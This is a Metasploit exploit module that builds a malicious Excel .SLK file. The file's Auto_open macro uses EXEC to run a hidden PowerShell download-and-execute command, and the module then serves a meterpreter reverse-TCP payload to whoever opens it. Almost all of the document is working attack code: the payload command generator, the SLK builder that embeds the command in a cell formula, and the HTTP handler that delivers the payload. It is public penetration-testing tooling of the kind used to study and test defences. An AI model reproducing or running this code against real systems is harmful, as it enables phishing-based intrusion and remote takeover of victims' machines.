## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking include Msf::Exploit::Remote::HttpServer include Msf::Exploit::FILEFORMAT include Msf::Exploit::Powershell include Msf::Exploit::EXE def initialize(info = {}) super(update_info(info, 'Name' => "Microsoft Excel .SLK Payload Delivery", 'Description' => %Q{ This module generates a download and execute Powershell command to be placed in an .SLK Excel spreadsheet. When executed, it will retrieve a payload via HTTP from a web server. When the file is opened, the user will be prompted to "Enable Content." Once this is pressed, the payload will execute. }, 'Author' => [ 'Carter Brainerd', # cbrnrd; Metasploit module 'Stan Hegt', # @StanHacked; Discovery 'Pieter Ceelen' # @ptrpieter; Discovery ], 'License' => MSF_LICENSE, 'References' => [ ['URL', 'https://blog.appriver.com/2018/02/trojan-droppers-using-symbolic-link-files'], ['URL', 'https://www.twitter.com/StanHacked/status/1049047727403937795'], ['URL', 'http://www.irongeek.com/i.php?page=videos/derbycon8/track-3-18-the-ms-office-magic-show-stan-hegt-pieter-ceelen'] ], 'Platform' => 'win', # idk about other platforms 'Stance' => Msf::Exploit::Stance::Aggressive, 'Targets' => [ ['Microsoft Excel', {} ] ], 'DisclosureDate' => 'Oct 7 2018', 'DefaultTarget' => 0, 'Payload' => { 'DisableNops' => true }, 'DefaultOptions' => { 'DisablePayloadHandler' => false, 'PAYLOAD' => 'windows/meterpreter/reverse_tcp', 'EXITFUNC' => 'thread' } )) register_options([ OptString.new('FILENAME', [true, "Filename to save as", "#{rand_text_alphanumeric 8}.slk"]) ]) end def on_request_uri(cli, request) if request.raw_uri.to_s.end_with? '.slk' print_status("Handling request for .slk from #{cli.peerhost}") payload = gen_psh("#{get_uri}", "string") data = create_slk(payload) send_response(cli, data, 'Content-Type' => 'text/plain') else print_status("Delivering payload to #{cli.peerhost}...") p = regenerate_payload(cli) data = cmd_psh_payload(p.encoded, payload_instance.arch.first, remove_comspec: true, exec_in_place: true) send_response(cli, data, 'Content-Type' => 'application/octet-stream') end end # I might be able to do without this (using cmd_psh_payload() and encode_final_payload() in Msf::Exploit::Powershell) def gen_psh(url, *method) ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl if method.include? 'string' download_string = datastore['PSH-Proxy'] ? (Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(url)) : (Rex::Powershell::PshMethods.download_and_exec_string(url)) else # Random filename to use, if there isn't anything set random = "#{rand_text_alphanumeric 8}.exe" # Set filename (Use random filename if empty) filename = datastore['BinaryEXE-FILENAME'].blank? ? random : datastore['BinaryEXE-FILENAME'] # Set path (Use %TEMP% if empty) path = datastore['BinaryEXE-PATH'].blank? ? "$env:temp" : %Q('#{datastore['BinaryEXE-PATH']}') # Join Path and Filename file = %Q(echo (#{path}+'\\#{filename}')) # Generate download PowerShell command download_string = Rex::Powershell::PshMethods.download_run(url, file) end download_and_run = "#{ignore_cert}#{download_string}" # Generate main PowerShell command return generate_psh_command_line(noprofile: true, windowstyle: 'hidden', command: download_and_run) end def create_slk(cmd) content = "ID;P\n" content << "O;E\n" content << "NN;NAuto_open;ER101C1;KOut Flank;F\n" content << "C;X1;Y101;EEXEC(\"#{cmd}\")\n" # Execute command content << "C;X1;Y102;EHALT()\n" content << "E" content end def primer file_create(create_slk(gen_psh("#{get_uri}", 'string'))) end end